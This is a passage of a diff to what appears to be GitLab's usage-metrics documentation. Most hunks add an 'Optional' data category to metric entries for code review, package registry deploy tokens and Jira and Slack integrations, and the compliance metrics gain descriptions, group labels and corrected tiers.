@@ -9078,6 +10738,8 @@ Count of unique users per month who delete an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9090,6 +10752,8 @@ Count of unique users per week who delete an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9102,6 +10766,8 @@ Count of unique users per month who delete an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9114,6 +10780,8 @@ Count of unique users per week who edit an approval rule to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9126,6 +10794,8 @@ Count of unique users per month who approve a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9138,6 +10808,8 @@ Count of unique users per week who approve a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9150,6 +10822,8 @@ Count of unique users per month who are assigned to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9162,6 +10836,8 @@ Count of unique users per week who are assigned to a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9174,6 +10850,8 @@ Count of unique users per month who changed assignees of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9186,6 +10864,8 @@ Count of unique users per week who changed assignees of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9198,6 +10878,8 @@ Count of unique users per month who closed a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9210,6 +10892,8 @@ Count of unique users per week who closed a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9222,6 +10906,8 @@ Count of unique users per month who commented on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9234,6 +10920,8 @@ Count of unique users per week who commented on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9246,6 +10934,8 @@ Count of unique users per month who create a merge request from an issue
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9258,6 +10948,8 @@ Count of unique users per week who create a merge request from an issue
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9270,6 +10962,8 @@ Count of unique users per month who created a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9282,6 +10976,8 @@ Count of unique users per week who created a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9294,6 +10990,8 @@ Count of unique users per month who create a multiline comment in a merge reques
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9306,6 +11004,8 @@ Count of unique users per week who create a multiline comment in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9318,6 +11018,8 @@ Count of unique users per month who create a note as part of a merge request rev
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9330,6 +11032,8 @@ Count of unique users per week who create a note as part of a merge request revi
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9342,6 +11046,8 @@ Count of unique users per month who edited a comment on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9354,6 +11060,8 @@ Count of unique users per week who edited a comment on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9366,6 +11074,8 @@ Count of unique users per week who edit a multiline comment in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9378,6 +11088,8 @@ Count of unique users per week who edit a multiline comment in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9390,6 +11102,8 @@ Count of unique users per month who changed labels of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9402,6 +11116,8 @@ Count of unique users per week who changed labels of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9414,6 +11130,8 @@ Count of unique users per week who load the conflict resolution page
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9426,6 +11144,8 @@ Count of unique users per week who load the conflict resolution page
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9438,6 +11158,8 @@ Count of unique users per month who mark a merge request as a draft
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9450,6 +11172,8 @@ Count of unique users per week who mark a merge request as a draft
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9462,6 +11186,8 @@ Count of unique users per month who merged a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9474,6 +11200,8 @@ Count of unique users per week who merged a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9486,6 +11214,8 @@ Count of unique users per month who changed milestone of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9498,6 +11228,8 @@ Count of unique users per week who changed milestone of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9510,6 +11242,8 @@ Count of unique users per month who locked a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9522,6 +11256,8 @@ Count of unique users per week who locked a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9534,6 +11270,8 @@ Count of unique users per month who unlocked a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9546,6 +11284,8 @@ Count of unique users per week who unlocked a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9558,6 +11298,8 @@ Count of unique users per month who publish their review as part of a merge requ
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9570,6 +11312,8 @@ Count of unique users per week who publish their review as part of a merge reque
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9582,6 +11326,8 @@ Count of unique users per month who removed a comment on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9594,6 +11340,8 @@ Count of unique users per month who removed a comment on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9606,6 +11354,8 @@ Count of unique users per month who remove a multiline comment in a merge reques
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9618,6 +11368,8 @@ Count of unique users per week who remove a multiline comment in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9630,6 +11382,8 @@ Count of unique users per month who reopened a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9642,6 +11396,8 @@ Count of unique users per week who reopened a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9654,6 +11410,8 @@ Count of unique users per week who attempt to resolve a conflict through the ui
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9666,6 +11424,8 @@ Count of unique users per week who attempt to resolve a conflict through the ui
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9678,6 +11438,8 @@ Count of unique users per month who resolve a thread in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9690,6 +11452,8 @@ Count of unique users per week who resolve a thread in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9702,6 +11466,8 @@ Count of unique users per month who request a review of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9714,6 +11480,8 @@ Count of unique users per week who request a review of a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9726,6 +11494,8 @@ Count of unique users per month who changed reviewers of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9738,6 +11508,8 @@ Count of unique users per week who changed reviewers of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9750,6 +11522,8 @@ Count of unique users per month with diffs viewed file by file
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9762,6 +11536,8 @@ Count of unique users per week with diffs viewed file by file
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9774,6 +11550,8 @@ Count of unique users per month who changed time estimate of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9786,6 +11564,8 @@ Count of unique users per week who changed time estimate of a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9798,6 +11578,8 @@ Count of unique users per month who changed time spent on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9810,6 +11592,8 @@ Count of unique users per week who changed time spent on a MR
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9822,6 +11606,8 @@ Count of unique users per month who toggled a task item in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9834,6 +11620,8 @@ Count of unique users per week who toggled a task item in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9846,6 +11634,8 @@ Count of unique users per month who unapprove a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9858,6 +11648,8 @@ Count of unique users per week who unapprove a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9870,6 +11662,8 @@ Count of unique users per month who unmark a merge request as a draft
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9882,6 +11676,8 @@ Count of unique users per week who unmark a merge request as a draft
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9894,6 +11690,8 @@ Count of unique users per month who unresolve a thread in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9906,6 +11704,8 @@ Count of unique users per week who unresolve a thread in a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9918,6 +11718,8 @@ Count of unique users per month who use GitLab Workflow for VS Code
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9930,153 +11732,179 @@ Count of unique users per week who use GitLab Workflow for VS Code
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.compliance.a_compliance_audit_events_api_monthly`
-Missing description
+Unique users that have used the Audit Events API in a given month.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.a_compliance_audit_events_api_weekly`
-Missing description
+Unique users that have used the Audit Events API in a given week.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183940_a_compliance_audit_events_api_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.compliance_total_unique_counts_monthly`
-Missing description
+Unique count of compliance actions in a given month
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.compliance_total_unique_counts_weekly`
-Missing description
+Unique count of compliance actions in a given week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183944_compliance_total_unique_counts_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.g_compliance_audit_events_monthly`
-Missing description
+Unique users who have viewed the audit event screen in a given month.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.g_compliance_audit_events_weekly`
-Missing description
+Number of unique visitors to group-level audit events screen in a given week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183928_g_compliance_audit_events_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.g_compliance_dashboard_monthly`
-Missing description
+Unique users who have viewed the compliance dashboard in a given month.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.g_compliance_dashboard_weekly`
-Missing description
+Unique users who have looked at the compliance dashboard in a given week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183924_g_compliance_dashboard_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.i_compliance_audit_events_monthly`
-Missing description
+Unique users that have viewed the instance-level audit events screen
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.i_compliance_audit_events_weekly`
-Missing description
+Unique users that have viewed the instance-level audit events screen
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183932_i_compliance_audit_events_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.compliance.i_compliance_credential_inventory_monthly`
-Missing description
+Unique users who have viewed the credential inventory in a given month.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.compliance.i_compliance_credential_inventory_weekly`
-Missing description
+Unique visitors to the credential inventory screen in a given week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183936_i_compliance_credential_inventory_weekly.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly`
@@ -10086,6 +11914,8 @@ A monthly count of packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10098,6 +11928,8 @@ A weekly count of packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10110,6 +11942,8 @@ A monthly count of Composer packages published to the registry using a deploy to
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10122,6 +11956,8 @@ A weekly count of Composer packages published to the registry using a deploy tok
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10134,6 +11970,8 @@ A monthly count of Conan packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10146,6 +11984,8 @@ A weekly count of Conan packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10158,6 +11998,8 @@ A monthly count of container images published to the registry using a deploy tok
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10170,6 +12012,8 @@ A weekly count of container images published to the registry using a deploy toke
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10182,6 +12026,8 @@ A monthly count of Debian packages published to the registry using a deploy toke
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10194,6 +12040,8 @@ A weekly count of Debian packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10206,6 +12054,8 @@ A monthly count of generic packages published to the registry using a deploy tok
Group: `group::package`
+Data Category: `Optional`
+
Status: `broken`
Tiers: `free`, `premium`, `ultimate`
@@ -10218,6 +12068,8 @@ A weekly count of generic packages published to the registry using a deploy toke
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10230,6 +12082,8 @@ A monthly count of Go modules published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10242,6 +12096,8 @@ A weekly count of Go modules published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10254,6 +12110,8 @@ Distinct Helm pakages deployed in recent 28 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -10266,6 +12124,8 @@ Distinct Helm pakages deployed in recent 7 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -10278,6 +12138,8 @@ A monthly count of Maven packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10290,6 +12152,8 @@ A weekly count of Maven packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10302,6 +12166,8 @@ A monthly count of npm packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10314,6 +12180,8 @@ A weekly count of npm packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10326,6 +12194,8 @@ A monthly count of NuGet packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10338,6 +12208,8 @@ A weekly count of NuGet packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10350,6 +12222,8 @@ A monthly count of PyPI packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10362,6 +12236,8 @@ A weekly count of Python packages published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10374,6 +12250,8 @@ Distinct count events for RubyGems packages published using a Deploy token in re
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10386,6 +12264,8 @@ A weekly count of distinct RubyGems packages published using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10398,6 +12278,8 @@ A monthly count of package tags published to the registry using a deploy token
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10410,6 +12292,8 @@ A weekly count of users that have published a package tag to the registry using
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -10422,6 +12306,8 @@ Number of distinct users authorized via deploy token creating Terraform Module p
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10434,6 +12320,8 @@ Number of distinct users authorized via deploy token creating Terraform Module p
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10446,6 +12334,8 @@ Number of users performing actions on Jira issues by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10458,6 +12348,8 @@ Number of users performing actions on Jira issues by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10470,6 +12362,8 @@ Number of users closing Jira issues by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10482,6 +12376,8 @@ Number of users closing Jira issues by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10494,6 +12390,8 @@ Number of users creating Jira issues by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10506,6 +12404,8 @@ Number of users creating Jira issues by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10518,6 +12418,8 @@ Number of users that cross-referenced Jira issues by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10530,6 +12432,8 @@ Number of users that cross-referenced Jira issues by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10542,6 +12446,8 @@ Count of Jira Issue List visits by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10554,6 +12460,8 @@ Count of Jira Issue List visits by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10566,6 +12474,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10578,6 +12488,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10590,6 +12502,8 @@ Calculated unique users to trigger a Slack message by creating a confidential no
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10602,6 +12516,8 @@ Calculated unique users to trigger a Slack message by creating a confidential no
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10614,6 +12530,8 @@ Calculated unique users to trigger a Slack message by performing a deployment by
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10626,6 +12544,8 @@ Calculated unique users to trigger a Slack message by performing a deployment by
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10638,6 +12558,8 @@ Calculated unique users to trigger a Slack message by performing an action on an
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10650,6 +12572,8 @@ Calculated unique users to trigger a Slack message by performing an action on an
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10662,6 +12586,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10674,6 +12600,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10686,6 +12614,8 @@ Calculated unique users to trigger a Slack message by creating a note by month
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10698,6 +12628,8 @@ Calculated unique users to trigger a Slack message by creating a note by week
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10710,6 +12642,8 @@ Calculated unique users to trigger a Slack message by performing a Git push by m
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10722,6 +12656,8 @@ Calculated unique users to trigger a Slack message by performing a Git push by w
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10734,6 +12670,8 @@ Calculated unique users to trigger a Slack message by performing a tag push by m
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10746,6 +12684,8 @@ Calculated unique users to trigger a Slack message by performing a tag push by w
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10758,6 +12698,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10770,6 +12712,8 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
